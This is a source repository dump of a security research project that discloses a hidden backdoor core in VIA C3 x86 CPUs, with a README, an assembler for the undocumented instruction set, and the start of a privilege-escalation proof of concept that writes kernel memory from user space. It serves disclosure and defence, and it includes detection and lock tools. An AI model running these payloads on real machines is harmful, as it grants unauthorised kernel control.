├── LICENSE
├── README.md
├── asm
└── deis_asm.py
├── esc
├── Makefile
├── demo.c
├── escalate.c
└── payload.asm
├── fix
├── Makefile
└── lock_deis.sh
├── fuzz
├── deis
│ ├── Makefile
│ ├── fuzz_deis.c
│ ├── fuzz_deis.sh
│ └── seed_ins.h
├── exit
│ ├── Makefile
│ ├── fuzz_exit.c
│ └── fuzz_exit.sh
├── manager
│ ├── device
│ │ ├── __init__.py
│ │ └── device.py
│ ├── fuzz_deis.py
│ ├── fuzz_exit.py
│ ├── generator.py
│ ├── power
│ │ ├── __init__.py
│ │ ├── power.py
│ │ ├── relay_ftdi.py
│ │ └── relay_serial.py
│ ├── repeat_fuzz_deis.sh
│ ├── util
│ │ ├── __init__.py
│ │ └── indent.py
│ └── watch_sessions.py
└── wrap
│ ├── Makefile
│ ├── fuzz_wrapper.c
│ └── fuzz_wrapper.sh
├── kern
├── Makefile
├── deis_kernel.c
├── deis_kernel.h
├── privregs
│ ├── Makefile
│ ├── privregs.c
│ └── privregs.h
├── test_deis_kernel.c
└── watch_mem.c
├── lock
├── Makefile
├── lock.c
└── unlock.c
├── proc
└── extract.py
├── rosenbridge.gif
├── test
├── Makefile
└── check_instruction.c
└── util
├── Makefile
└── check.c
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2018 Christopher Domas
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of
4 | this software and associated documentation files (the "Software"), to deal in
5 | the Software without restriction, including without limitation the rights to
6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
7 | the Software, and to permit persons to whom the Software is furnished to do so,
8 | subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in all
11 | copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
15 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
16 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
17 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
18 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
19 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## project:rosenbridge
2 | : hardware backdoors in x86 CPUs
3 |
4 | github.com/xoreaxeaxeax/rosenbridge // domas // @xoreaxeaxeax
5 |
6 |
7 |
8 | ### Overview
9 |
10 | project:rosenbridge reveals a hardware backdoor in some desktop, laptop, and
11 | embedded x86 processors.
12 |
13 | The backdoor allows ring 3 (userland) code to circumvent processor protections
14 | to freely read and write ring 0 (kernel) data. While the backdoor is typically
15 | disabled (requiring ring 0 execution to enable it), we have found that it is
16 | *enabled by default* on some systems.
17 |
18 | This repository contains utilities to check if your processor is affected, close
19 | the backdoor if it is present, and the research and tools used to discover and
20 | analyze the backdoor.
21 |
22 | ### The Backdoor
23 |
24 | The rosenbridge backdoor is a small, non-x86 core embedded alongside the main
25 | x86 core in the CPU. It is enabled by a model-specific-register control bit,
26 | and then toggled with a _launch-instruction_. The embedded core is then fed
27 | commands, wrapped in a specially formatted x86 instruction. The core executes
28 | these commands (which we call the 'deeply embedded instruction set'), bypassing
29 | all memory protections and privilege checks.
30 |
31 | While the backdoor should require kernel level access to activate, it has been
32 | observed to be *enabled by default* on some systems, allowing any unprivileged
33 | code to modify the kernel.
34 |
35 | The rosenbridge backdoor is entirely distinct from other publicly known
36 | coprocessors on x86 CPUs, such as the Management Engine or Platform Security
37 | Processor; it is more deeply embedded than any known coprocessor, having access
38 | to not only all of the CPU's memory, but its register file and execution
39 | pipeline as well.
40 |
41 | ### Affected Systems
42 |
43 | It is thought that only VIA C3 CPUs are affected by this issue. The C-series
44 | processors are marketed towards industrial automation, point-of-sale, ATM, and
45 | healthcare hardware, as well as a variety of consumer desktop and laptop
46 | computers.
47 |
48 | ### Looking Forward
49 |
50 | The scope of this vulnerability is limited; generations of CPUs after the C3 no
51 | longer contain this feature.
52 |
53 | This work is released as a case study and thought experiment, illustrating how
54 | backdoors might arise in increasingly complex processors, and how researchers
55 | and end-users might identify such features. The tools and research offered
56 | here provide the starting point for ever-deeper processor vulnerability
57 | research.
58 |
59 | ### Checking your CPU
60 |
61 | To check if your CPU is affected:
62 |
63 | ```
64 | git clone https://github.com/xoreaxeaxeax/rosenbridge
65 | cd rosenbridge/util
66 | make
67 | sudo modprobe msr
68 | sudo ./bin/check
69 | ```
70 |
71 | The provided utility must be run on baremetal (not in a virtual-machine), and is
72 | in an *alpha* state. It may crash, panic, or hang systems not containing the
73 | backdoor.
74 |
75 | The utilities provided here are designed around a specific processor family and
76 | core; unfortunately, the tools will miss the backdoor if it has been even
77 | slightly modified from the researched form.
78 |
79 | ### Closing the Backdoor
80 |
81 | Some systems have the backdoor enabled by default, allowing unprivileged code to
82 | gain kernel level access without permission. If the steps in 'Checking your
83 | CPU' indicate that your CPU is vulnerable, you can install a script to close the
84 | backdoor early in the boot process:
85 |
86 | ```
87 | cd fix
88 | make
89 | sudo make install
90 | reboot
91 | ```
92 |
93 | Note that, even with this, an attacker with kernel level access can still
94 | re-enable the backdoor. This script is provided as an outline for correcting
95 | the issue during the boot process, but will require adaptation for different
96 | systems.
97 |
98 | ### Tools and Techniques
99 |
100 | The [sandsifter](https://github.com/xoreaxeaxeax/sandsifter) utility is used
101 | extensively in this research for uncovering unknown instructions.
102 |
103 | * asm
104 |
105 | An assembler for the Deeply Embedded Instruction Set (DEIS). It converts
106 | programs written in the custom rosenbridge assembly into x86 instructions,
107 | which, when executed following the _launch-instruction_, will send the
108 | commands to the hidden CPU core.
109 |
110 | * esc
111 |
112 | A proof-of-concept of using the rosenbridge backdoor for privilege
113 | escalation.
114 |
115 | * fix
116 |
117 | A rough outline for closing the vulnerability on affected systems, to the
118 | extent possible through model-specific-register updates.
119 |
120 | * fuzz
121 |
122 | A collection of utilities used to fuzz both the x86 and rosenbridge cores,
123 | in order to isolate the unknown _launch-instruction_ and
124 | _bridge-instruction_, and resolve the instruction format of the rosenbridge
125 | core.
126 |
127 | * deis
128 |
129 | The fuzzer used to explore the effects and capabilities of the
130 | hidden CPU core.
131 |
132 | * exit
133 |
134 | It is thought that, on some processors, an exit sequence is needed to
135 | switch back to the x86 core at the end of a DEIS sequence. This
136 | directory contains the utilities used to search for the exit sequence in
137 | early stages of the research, but was abandoned when a processor was
138 | found not requiring any such sequence.
139 |
140 | * manager
141 |
142 | A collection of python utilities designed to monitor and manage fuzzing
143 | tasks distributed across a network of workers.
144 |
145 | * wrap
146 |
147 | A stripped down version of the sandsifter fuzzer, used to identify the
148 | bridge-instruction that will send commands from the x86 core to the
149 | hidden rosenbridge core.
150 |
151 | * kern
152 |
153 | A collection of helper utilities used to monitor kernel memory and registers
154 | for changes caused by fuzzed DEIS instructions.
155 |
156 | * lock
157 |
158 | Utilities to lock or unlock the rosenbridge backdoor.
159 |
160 | * proc
161 |
162 | A tool to identify patterns from the fuzzing logs to identify classes of
163 | DEIS instruction behaviors.
164 |
165 | * test
166 |
167 | A tool used early in the research, to attempt to identify the hidden core's
168 | architecture by executing known RISC instructions.
169 |
170 | * util
171 |
172 | An alpha-state tool to detect whether or not a processor is affected by
173 | rosenbridge.
174 |
175 | ### References
176 |
177 | (TODO: link to whitepaper)
178 |
179 | (TODO: link to slides)
180 |
181 | ### Disclaimer
182 |
183 | The details and implications presented in this work are the authors’ inferences
184 | and opinions, derived from the research described. The research is performed
185 | and provided with the goal of identifying and fixing a perceived security
186 | vulnerability on the described CPUs. VIA processors are renowned for
187 | their low power usage and excellence in embedded designs; we believe that the
188 | functionality described was created in good faith as a useful feature for the
189 | embedded market, and was unintentionally left enabled on some early generations
190 | of the processor. No malicious intent is implied.
191 |
192 | ### Author
193 |
194 | project:rosenbridge is a research effort from Christopher Domas
195 | ([@xoreaxeaxeax](https://twitter.com/xoreaxeaxeax)).
196 |
--------------------------------------------------------------------------------
/asm/deis_asm.py:
--------------------------------------------------------------------------------
1 | #
2 | # project:rosenbridge
3 | # domas // @xoreaxeaxeax
4 | #
5 |
6 | # the deis assembler #
7 |
8 | # a minimal subset of the deis instructions have been analyzed to reveal the
9 | # bitfields necessary to create a working privilege escalation payload. work on
10 | # analyzing the deis instruction set is far from complete, but this assembler
11 | # provides enough functionality to flexibly write kernel manipulation payloads.
12 |
13 | # the datasets for analyzing deis instructions are found in the rosenbridge_data
14 | # repository.
15 |
16 | # deis instructions:
17 |
18 | # lgd: load base address of gdt into register
19 | # mov: copy register contents
20 | # izx: load 2 byte immediate, zero extended
21 | # isx: load 2 byte immediate, sign extended
22 | # ra4: shift eax right by 4
23 | # la4: shift eax left by 4
24 | # ra8: shift eax right by 8
25 | # la8: shift eax left by 8
26 | # and: bitwise and of two registers, into eax
27 | # or: bitwise or of two registers, into eax
28 | # ada: add register to eax
29 | # sba: sub register from eax
30 | # ld4: load 4 bytes from kernel memory
31 | # st4: store 4 bytes into kernel memory
32 | # ad4: increment a register by 4
33 | # ad2: increment a register by 2
34 | # ad1: increment a register by 1
35 | # zl3: zero low 3 bytes of register
36 | # zl2: zero low 2 bytes of register
37 | # zl1: zero low byte of register
38 | # cmb: shift lo word of source into lo word of destination
39 |
40 | # bit key:
41 | # V probable opcode
42 | # ? unknown purpose
43 | # x possible don't-care
44 | # v probable operand
45 |
46 | import ctypes
47 | from ctypes import c_uint32
48 | import sys
49 |
50 | reg_bits = {
51 | "eax": 0b0000,
52 | "ebx": 0b0011,
53 | "ecx": 0b0001,
54 | "edx": 0b0010,
55 | "esi": 0b0110,
56 | "edi": 0b0111,
57 | "ebp": 0b0101,
58 | "esp": 0b0100,
59 | }
60 |
61 | class deis_bits(ctypes.LittleEndianStructure):
62 | pass
63 |
64 | class deis_insn(ctypes.Union):
65 | TEMPLATE = 0
66 | _fields_ = [("bits", deis_bits), ("insn", c_uint32)]
67 | def __str__(self):
68 | return "%08x" % self.insn
69 |
70 | # mov #
71 |
72 | # VVVV VVVV ???? vvvv ?vvv vxxx xxxx xxxx
73 | # ac169f51 [ 1010 1100 0001 0110 1001 1111 0101 0001 ]: esi -> ebx
74 |
75 | class deis_mov_bits(deis_bits):
76 | _fields_ = [
77 | ("field_1", c_uint32, 11),
78 | ("dst", c_uint32, 4),
79 | ("field_2", c_uint32, 1),
80 | ("src", c_uint32, 4),
81 | ("field_3", c_uint32, 12),
82 | ]
83 |
84 | class deis_mov(deis_insn):
85 | TEMPLATE = 0xac169f51
86 | _fields_ = [("bits", deis_mov_bits), ("insn", c_uint32)]
87 | def __init__(self, src, dst):
88 | self.insn = self.TEMPLATE
89 | self.bits.src = reg_bits[src]
90 | self.bits.dst = reg_bits[dst]
91 |
92 | # lgd #
93 |
94 | # VVVV VVVV ???? vvvv ???? ???? xxxx xxxx
95 | # a313075b [ 1010 0011 0001 0011 0000 0111 0101 1011 ]
96 |
97 | class deis_lgd_bits(deis_bits):
98 | _fields_ = [
99 | ("field_1", c_uint32, 16),
100 | ("dst", c_uint32, 4),
101 | ("field_2", c_uint32, 12),
102 | ]
103 |
104 | class deis_lgd(deis_insn):
105 | TEMPLATE = 0xa313075b
106 | _fields_ = [("bits", deis_lgd_bits), ("insn", c_uint32)]
107 | def __init__(self, dst):
108 | self.insn = self.TEMPLATE
109 | self.bits.dst = reg_bits[dst]
110 |
111 | # izx #
112 |
113 | # VVVV VVVV ???? vvvv vvvv vvvv vvvv vvvv
114 | # 2412baf2 [ 0010 0100 0001 0010 1011 1010 1111 0010 ]: edx: 0841fec3 -> 0000baf2
115 |
116 | class deis_izx_bits(deis_bits):
117 | _fields_ = [
118 | ("src", c_uint32, 16),
119 | ("dst", c_uint32, 4),
120 | ("field_1", c_uint32, 12),
121 | ]
122 |
123 | class deis_izx(deis_insn):
124 | TEMPLATE = 0x2412baf2
125 | _fields_ = [("bits", deis_izx_bits), ("insn", c_uint32)]
126 | def __init__(self, src, dst):
127 | self.insn = self.TEMPLATE
128 | if type(src) is str:
129 | src = int(src, 16)
130 | self.bits.src = src
131 | self.bits.dst = reg_bits[dst]
132 |
133 | # isx #
134 |
135 | # VVVV VVVV ???? vvvv vvvv vvvv vvvv vvvv
136 | # 24b43402 [ 0010 0100 1011 0100 0011 0100 0000 0010 ]: esp: 5643a332 -> ffff3402
137 |
138 | class deis_isx_bits(deis_bits):
139 | _fields_ = [
140 | ("src", c_uint32, 16),
141 | ("dst", c_uint32, 4),
142 | ("field_1", c_uint32, 12),
143 | ]
144 |
145 | class deis_isx(deis_insn):
146 | TEMPLATE = 0x24b43402
147 | _fields_ = [("bits", deis_isx_bits), ("insn", c_uint32)]
148 | def __init__(self, src, dst):
149 | self.insn = self.TEMPLATE
150 | if type(src) is str:
151 | src = int(src, 16)
152 | self.bits.src = src
153 | self.bits.dst = reg_bits[dst]
154 |
155 | # la4 #
156 |
157 | # VVVV ???? ???? ???? ???? ???? ???? ????
158 | # 840badc7 [ 1000 0100 0000 1011 1010 1101 1100 0111 ]: eax: 0804c555 -> 804c5550
159 |
160 | class deis_la4_bits(deis_bits):
161 | _fields_ = [
162 | ("field_1", c_uint32, 32),
163 | ]
164 |
165 | class deis_la4(deis_insn):
166 | TEMPLATE = 0x840badc7
167 | _fields_ = [("bits", deis_la4_bits), ("insn", c_uint32)]
168 | def __init__(self):
169 | self.insn = self.TEMPLATE
170 |
171 | # ra4 #
172 |
173 | # VVVV ???? ???? ???? ???? ???? ???? ????
174 | # 813c65c3 [ 1000 0001 0011 1100 0110 0101 1100 0011 ]: eax: 0804c555 -> 00804c55
175 |
176 | class deis_ra4_bits(deis_bits):
177 | _fields_ = [
178 | ("field_1", c_uint32, 32),
179 | ]
180 |
181 | class deis_ra4(deis_insn):
182 | TEMPLATE = 0x813c65c3
183 | _fields_ = [("bits", deis_ra4_bits), ("insn", c_uint32)]
184 | def __init__(self):
185 | self.insn = self.TEMPLATE
186 |
187 |
188 | # la8 #
189 |
190 | # VVVV ???? ???? ???? ???? ???? ???? ????
191 | # 844475e0 [ 1000 0100 0100 0100 0111 0101 1110 0000 ]: eax: 0804c555 -> 04c55500
192 |
193 | class deis_la8_bits(deis_bits):
194 | _fields_ = [
195 | ("field_1", c_uint32, 32),
196 | ]
197 |
198 | class deis_la8(deis_insn):
199 | TEMPLATE = 0x844475e0
200 | _fields_ = [("bits", deis_la8_bits), ("insn", c_uint32)]
201 | def __init__(self):
202 | self.insn = self.TEMPLATE
203 |
204 | # ra8 #
205 |
206 | # VVVV ???? ???? ???? ???? ???? ???? ????
207 | # 84245de2 [ 1000 0100 0010 0100 0101 1101 1110 0010 ]: eax: 0804c555 -> 000804c5
208 |
209 | class deis_ra8_bits(deis_bits):
210 | _fields_ = [
211 | ("field_1", c_uint32, 32),
212 | ]
213 |
214 | class deis_ra8(deis_insn):
215 | TEMPLATE = 0x84245de2
216 | _fields_ = [("bits", deis_ra8_bits), ("insn", c_uint32)]
217 | def __init__(self):
218 | self.insn = self.TEMPLATE
219 |
220 | # and #
221 |
222 | # VVVV VVVv vvv? vvvv ???? ???? ???? VVVV
223 | # 82748114 [ 1000 0010 0111 0100 1000 0001 0001 0100 ]: ebx: 3fc499bc ... esp: f44ed78e -> eax: 3444918c
224 |
225 | class deis_and_bits(deis_bits):
226 | _fields_ = [
227 | ("field_1", c_uint32, 16),
228 | ("src1", c_uint32, 4),
229 | ("field_2", c_uint32, 1),
230 | ("src2", c_uint32, 4),
231 | ("field_3", c_uint32, 7),
232 | ]
233 |
234 | class deis_and(deis_insn):
235 | TEMPLATE = 0x82748114
236 | _fields_ = [("bits", deis_and_bits), ("insn", c_uint32)]
237 | def __init__(self, src1, src2):
238 | self.insn = self.TEMPLATE
239 | self.bits.src1 = reg_bits[src1]
240 | self.bits.src2 = reg_bits[src2]
241 |
242 | # or #
243 |
244 | # VVVV VVVv vvv? vvvv ???? ???? ???? VVVV
245 | # 8213e5d5 [ 1000 0010 0001 0011 1110 0101 1101 0101 ]: eax: 0804c389 ... ebx: dfd52762 -> eax: dfd5e7eb
246 |
247 | class deis_or_bits(deis_bits):
248 | _fields_ = [
249 | ("field_1", c_uint32, 16),
250 | ("src1", c_uint32, 4),
251 | ("field_2", c_uint32, 1),
252 | ("src2", c_uint32, 4),
253 | ("field_3", c_uint32, 7),
254 | ]
255 |
256 | class deis_or(deis_insn):
257 | TEMPLATE = 0x8213e5d5
258 | _fields_ = [("bits", deis_or_bits), ("insn", c_uint32)]
259 | def __init__(self, src1, src2):
260 | self.insn = self.TEMPLATE
261 | self.bits.src1 = reg_bits[src1]
262 | self.bits.src2 = reg_bits[src2]
263 |
264 | # ada #
265 |
266 | # VVVV VVVV ???? vvvv ???? ???? xxxx ????
267 | # 80d2c5d0 [ 1000 0000 1101 0010 1100 0101 1101 0000 ]: edx: 30300a77 ... eax: 0804c2e9 -> eax: 3834cd60
268 |
269 | class deis_ada_bits(deis_bits):
270 | _fields_ = [
271 | ("field_1", c_uint32, 16),
272 | ("src", c_uint32, 4),
273 | ("field_2", c_uint32, 12),
274 | ]
275 |
276 | class deis_ada(deis_insn):
277 | TEMPLATE = 0x80d2c5d0
278 | _fields_ = [("bits", deis_ada_bits), ("insn", c_uint32)]
279 |
280 | def __init__(self, src):
281 | self.insn = self.TEMPLATE
282 | self.bits.src = reg_bits[src]
283 |
284 | # sub #
285 |
286 | # VVVV VVVV xxxx vvvv xxxx xxxx ???? ????
287 | # 8012e5f2 [ 1000 0000 0001 0010 1110 0101 1111 0010 ]: eax: 0804c2e9 ... edx: 262e3d2e -> eax: e1d685bb
288 |
289 | class deis_sba_bits(deis_bits):
290 | _fields_ = [
291 | ("field_1", c_uint32, 16),
292 | ("src", c_uint32, 4),
293 | ("field_2", c_uint32, 12),
294 | ]
295 |
296 | class deis_sba(deis_insn):
297 | TEMPLATE = 0x8012e5f2
298 | _fields_ = [("bits", deis_sba_bits), ("insn", c_uint32)]
299 |
300 | def __init__(self, src):
301 | self.insn = self.TEMPLATE
302 | self.bits.src = reg_bits[src]
303 |
304 | # zl3 #
305 |
306 | # VVVV VVV? xxxx xxxx ?vvv v??? ???? ????
307 | # c5e9a0d7 [ 1100 0101 1110 1001 1010 0000 1101 0111 ]: zl3 esp
308 | # c5caa8de [ 1100 0101 1100 1010 1010 1000 1101 1110 ]: zl3 ebp
309 | # c5ca88de [ 1100 0101 1100 1010 1000 1000 1101 1110 ]: zl3 ecx
310 | # c451b0c6 [ 1100 0100 0101 0001 1011 0000 1100 0110 ]: zl3 esi
311 | # c45190c6 [ 1100 0100 0101 0001 1001 0000 1100 0110 ]: zl3 edx
312 |
313 | class deis_zl3_bits(deis_bits):
314 | _fields_ = [
315 | ("field_1", c_uint32, 11),
316 | ("reg", c_uint32, 4),
317 | ("field_2", c_uint32, 17),
318 | ]
319 |
320 | class deis_zl3(deis_insn):
321 | TEMPLATE = 0xc5e9a0d7
322 | _fields_ = [("bits", deis_zl3_bits), ("insn", c_uint32)]
323 |
324 | def __init__(self, reg):
325 | self.insn = self.TEMPLATE
326 | self.bits.reg = reg_bits[reg]
327 |
328 | # zl2 #
329 |
330 | # VVVV VVV? xxxx xxxx ?vvv v??? ???? ????
331 | # c64ea11c [ 1100 0110 0100 1110 1010 0001 0001 1100 ]: zl2 esp
332 |
333 | class deis_zl2_bits(deis_bits):
334 | _fields_ = [
335 | ("field_1", c_uint32, 11),
336 | ("reg", c_uint32, 4),
337 | ("field_2", c_uint32, 17),
338 | ]
339 |
340 | class deis_zl2(deis_insn):
341 | TEMPLATE = 0xc64ea11c
342 | _fields_ = [("bits", deis_zl2_bits), ("insn", c_uint32)]
343 |
344 | def __init__(self, reg):
345 | self.insn = self.TEMPLATE
346 | self.bits.reg = reg_bits[reg]
347 |
348 | # zl1 #
349 |
350 | # VVVV VVV? xxxx xxxx ?vvv v??? ???? ????
351 | # 8676ba54 [ 1000 0110 0111 0110 1011 1010 0101 0100 ]: zl1 edi
352 | # 86769a5c [ 1000 0110 0111 0110 1001 1010 0101 1100 ]: zl1 ebx
353 |
354 | class deis_zl1_bits(deis_bits):
355 | _fields_ = [
356 | ("field_1", c_uint32, 11),
357 | ("reg", c_uint32, 4),
358 | ("field_2", c_uint32, 17),
359 | ]
360 |
361 | class deis_zl1(deis_insn):
362 | TEMPLATE = 0x8676ba54
363 | _fields_ = [("bits", deis_zl1_bits), ("insn", c_uint32)]
364 |
365 | def __init__(self, reg):
366 | self.insn = self.TEMPLATE
367 | self.bits.reg = reg_bits[reg]
368 |
369 | # ld4 #
370 |
371 | # off src dst len?
372 | # VVVV VVVV vvv? vvvv ?vvv v??? vv?? ????
373 | # c8138c89 [ 1100 1000 0001 0011 1000 1100 1000 1001 ]: ecx: 00000000 -> 44332211
374 |
375 | class deis_ld4_bits(deis_bits):
376 | _fields_ = [
377 | ("field_1", c_uint32, 11),
378 | ("dst", c_uint32, 4),
379 | ("field_2", c_uint32, 1),
380 | ("src", c_uint32, 4),
381 | ("field_3", c_uint32, 1),
382 | ("off", c_uint32, 3),
383 | ("field_4", c_uint32, 8),
384 | ]
385 |
386 | class deis_ld4(deis_insn):
387 | TEMPLATE = 0xc8138c89
388 | _fields_ = [("bits", deis_ld4_bits), ("insn", c_uint32)]
389 |
390 | def __init__(self, src, dst):
391 | self.insn = self.TEMPLATE
392 | self.bits.src = reg_bits[src]
393 | self.bits.dst = reg_bits[dst]
394 |
395 | # st4 #
396 |
397 | # off dst src len?
398 | # VVVV VVVV vvv? vvvv ?vvv v??? vv?? ????
399 | # e0138dfd [ 1110 0000 0001 0011 1000 1101 1111 1101 ]: 11223344 -> b642f0c7
400 | # e2539dfd [ 1110 0010 0101 0011 1001 1101 1111 1101 ]: 11223344 -> b542f0c7
401 |
402 | class deis_st4_bits(deis_bits):
403 | _fields_ = [
404 | ("field_1", c_uint32, 11),
405 | ("src", c_uint32, 4),
406 | ("field_2", c_uint32, 1),
407 | ("dst", c_uint32, 4),
408 | ("field_3", c_uint32, 1),
409 | ("off", c_uint32, 3),
410 | ("field_4", c_uint32, 8),
411 | ]
412 |
413 | class deis_st4(deis_insn):
414 | TEMPLATE = 0xe0138dfd
415 | _fields_ = [("bits", deis_st4_bits), ("insn", c_uint32)]
416 | def __init__(self, src, dst):
417 | self.insn = self.TEMPLATE
418 | self.bits.src = reg_bits[src]
419 | self.bits.dst = reg_bits[dst]
420 |
421 | # ad4 #
422 |
423 | # reg val
424 | # VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx
425 | # 0a3b118a [ 0000 1010 0011 1011 0001 0001 1000 1010 ]: ecx: 0841fec2 -> 0841fec6
426 |
427 | class deis_ad4_bits(deis_bits):
428 | _fields_ = [
429 | ("field_1", c_uint32, 21),
430 | ("reg", c_uint32, 4),
431 | ("field_2", c_uint32, 7),
432 | ]
433 |
434 | class deis_ad4(deis_insn):
435 | TEMPLATE = 0x0a3b118a
436 | _fields_ = [("bits", deis_ad4_bits), ("insn", c_uint32)]
437 |
438 | def __init__(self, reg):
439 | self.insn = self.TEMPLATE
440 | self.bits.reg = reg_bits[reg]
441 |
442 | # ad2 #
443 |
444 | # reg val
445 | # VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx
446 | # 0a3af97f [ 0000 1010 0011 1010 1111 1001 0111 1111 ]: ecx: 0841fec2 -> 0841fec4
447 |
448 | class deis_ad2_bits(deis_bits):
449 | _fields_ = [
450 | ("field_1", c_uint32, 21),
451 | ("reg", c_uint32, 4),
452 | ("field_2", c_uint32, 7),
453 | ]
454 |
455 | class deis_ad2(deis_insn):
456 | TEMPLATE = 0x0a3af97f
457 | _fields_ = [("bits", deis_ad2_bits), ("insn", c_uint32)]
458 |
459 | def __init__(self, reg):
460 | self.insn = self.TEMPLATE
461 | self.bits.reg = reg_bits[reg]
462 |
463 | # ad1 #
464 |
465 | # reg val
466 | # VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx
467 | # 0a29a7a0 [ 0000 1010 0010 1001 1010 0111 1010 0000 ]: ecx: a212dce8 -> a212dce9
468 |
469 | class deis_ad1_bits(deis_bits):
470 | _fields_ = [
471 | ("field_1", c_uint32, 21),
472 | ("reg", c_uint32, 4),
473 | ("field_2", c_uint32, 7),
474 | ]
475 |
476 | class deis_ad1(deis_insn):
477 | TEMPLATE = 0x0a29a7a0
478 | _fields_ = [("bits", deis_ad1_bits), ("insn", c_uint32)]
479 |
480 | def __init__(self, reg):
481 | self.insn = self.TEMPLATE
482 | self.bits.reg = reg_bits[reg]
483 |
484 | # cmb #
485 |
486 | # VVVV VVVV ???? vvvv ?vvv v??? ???? ????
487 | # a2528c33 [ 1010 0010 0101 0010 1000 1100 0011 0011 ]
488 | # a2528c33 [ 1010 0010 0101 0010 1000 1100 0011 0011 ]: edx: 1b6a2620, ecx: 7b0c160d -> 2620160d
489 | # a252ac33 [ 1010 0010 0101 0010 1010 1100 0011 0011 ]: edx: 8c69f5e2, ebp: f9291fe1 -> f5e21fe1
490 |
491 | class deis_cmb_bits(deis_bits):
492 | _fields_ = [
493 | ("field_1", c_uint32, 11),
494 | ("dst", c_uint32, 4),
495 | ("field_2", c_uint32, 1),
496 | ("src", c_uint32, 4),
497 | ("field_3", c_uint32, 12),
498 | ]
499 |
500 | class deis_cmb(deis_insn):
501 | TEMPLATE = 0xa2528c33
502 | _fields_ = [("bits", deis_cmb_bits), ("insn", c_uint32)]
503 |
504 | def __init__(self, src, dst):
505 | self.insn = self.TEMPLATE
506 | self.bits.src = reg_bits[src]
507 | self.bits.dst = reg_bits[dst]
508 |
509 |
510 | if __name__ == "__main__":
511 | if "--test" in sys.argv:
512 | print deis_mov("eax", "ebx")
513 | print deis_mov("ebx", "edx")
514 | print deis_lgd("esi")
515 | print deis_izx(0x1122, "edi")
516 | print deis_isx(0x1122, "esp")
517 | print deis_ra4()
518 | print deis_la4()
519 | print deis_ra8()
520 | print deis_la8()
521 | print deis_and("edx", "ecx")
522 | print deis_or("esi", "edi")
523 | print deis_ada("edx")
524 | print deis_sba("ecx")
525 | print deis_ld4("eax", "eax")
526 | print deis_ad4("edx")
527 | print deis_zl3("esi")
528 | print deis_zl2("esi")
529 | print deis_zl1("esi")
530 | print deis_cmb("esi", "edi")
531 | else:
532 | with open(sys.argv[1], "r") as f:
533 | lines = f.readlines()
534 | print "/* automatically generated with deis_asm.py */"
535 | print "/* you are strongly encouraged to not modify this file directly */"
536 | for l in lines:
537 | l = l.split("#", 1)[0].strip()
538 | if l:
539 | s = l.split(" ", 1)
540 | op = s[0]
541 | if len(s) > 1:
542 | args = s[1].split(",")
543 | else:
544 | args = []
545 |
546 | op = op.strip()
547 | args = [a.strip() for a in args]
548 |
549 | # probably don't use this on untrusted source :)
550 | asm = getattr(sys.modules[__name__], "deis_%s" % op)(*args)
551 |
552 | print "__asm__ (\"bound %%eax,0x%08x(,%%eax,1)\");" % asm.insn
553 |
--------------------------------------------------------------------------------
/esc/Makefile:
--------------------------------------------------------------------------------
1 | all: bin/escalate
2 |
3 | bin/escalate: escalate.c payload.asm
4 | mkdir -p bin
5 | python ../asm/deis_asm.py payload.asm > bin/payload.h
6 | gcc -m32 escalate.c -o bin/escalate
7 |
8 | clean:
9 | rm -f bin/*
10 |
--------------------------------------------------------------------------------
/esc/demo.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int main(void)
4 | {
5 | /* unlock the backdoor */
6 | __asm__ ("movl $payload, %eax");
7 | __asm__ (".byte 0x0f, 0x3f");
8 |
9 | /* modify kernel memory */
10 | __asm__ ("payload:");
11 | __asm__ ("bound %eax,0xa310075b(,%eax,1)");
12 | __asm__ ("bound %eax,0x24120078(,%eax,1)");
13 | __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
14 | __asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
15 | __asm__ ("bound %eax,0xc8109489(,%eax,1)");
16 | __asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
17 | __asm__ ("bound %eax,0xc8109c89(,%eax,1)");
18 | __asm__ ("bound %eax,0xc5e998d7(,%eax,1)");
19 | __asm__ ("bound %eax,0xac128751(,%eax,1)");
20 | __asm__ ("bound %eax,0x844475e0(,%eax,1)");
21 | __asm__ ("bound %eax,0x84245de2(,%eax,1)");
22 | __asm__ ("bound %eax,0x8213e5d5(,%eax,1)");
23 | __asm__ ("bound %eax,0x24115f20(,%eax,1)");
24 | __asm__ ("bound %eax,0x2412c133(,%eax,1)");
25 | __asm__ ("bound %eax,0xa2519433(,%eax,1)");
26 | __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
27 | __asm__ ("bound %eax,0xc8108489(,%eax,1)");
28 | __asm__ ("bound %eax,0x24120208(,%eax,1)");
29 | __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
30 | __asm__ ("bound %eax,0xc8108489(,%eax,1)");
31 | __asm__ ("bound %eax,0x24120000(,%eax,1)");
32 | __asm__ ("bound %eax,0x24110004(,%eax,1)");
33 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
34 | __asm__ ("bound %eax,0xe01095fd(,%eax,1)");
35 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
36 | __asm__ ("bound %eax,0xe01095fd(,%eax,1)");
37 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
38 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
39 | __asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
40 | __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
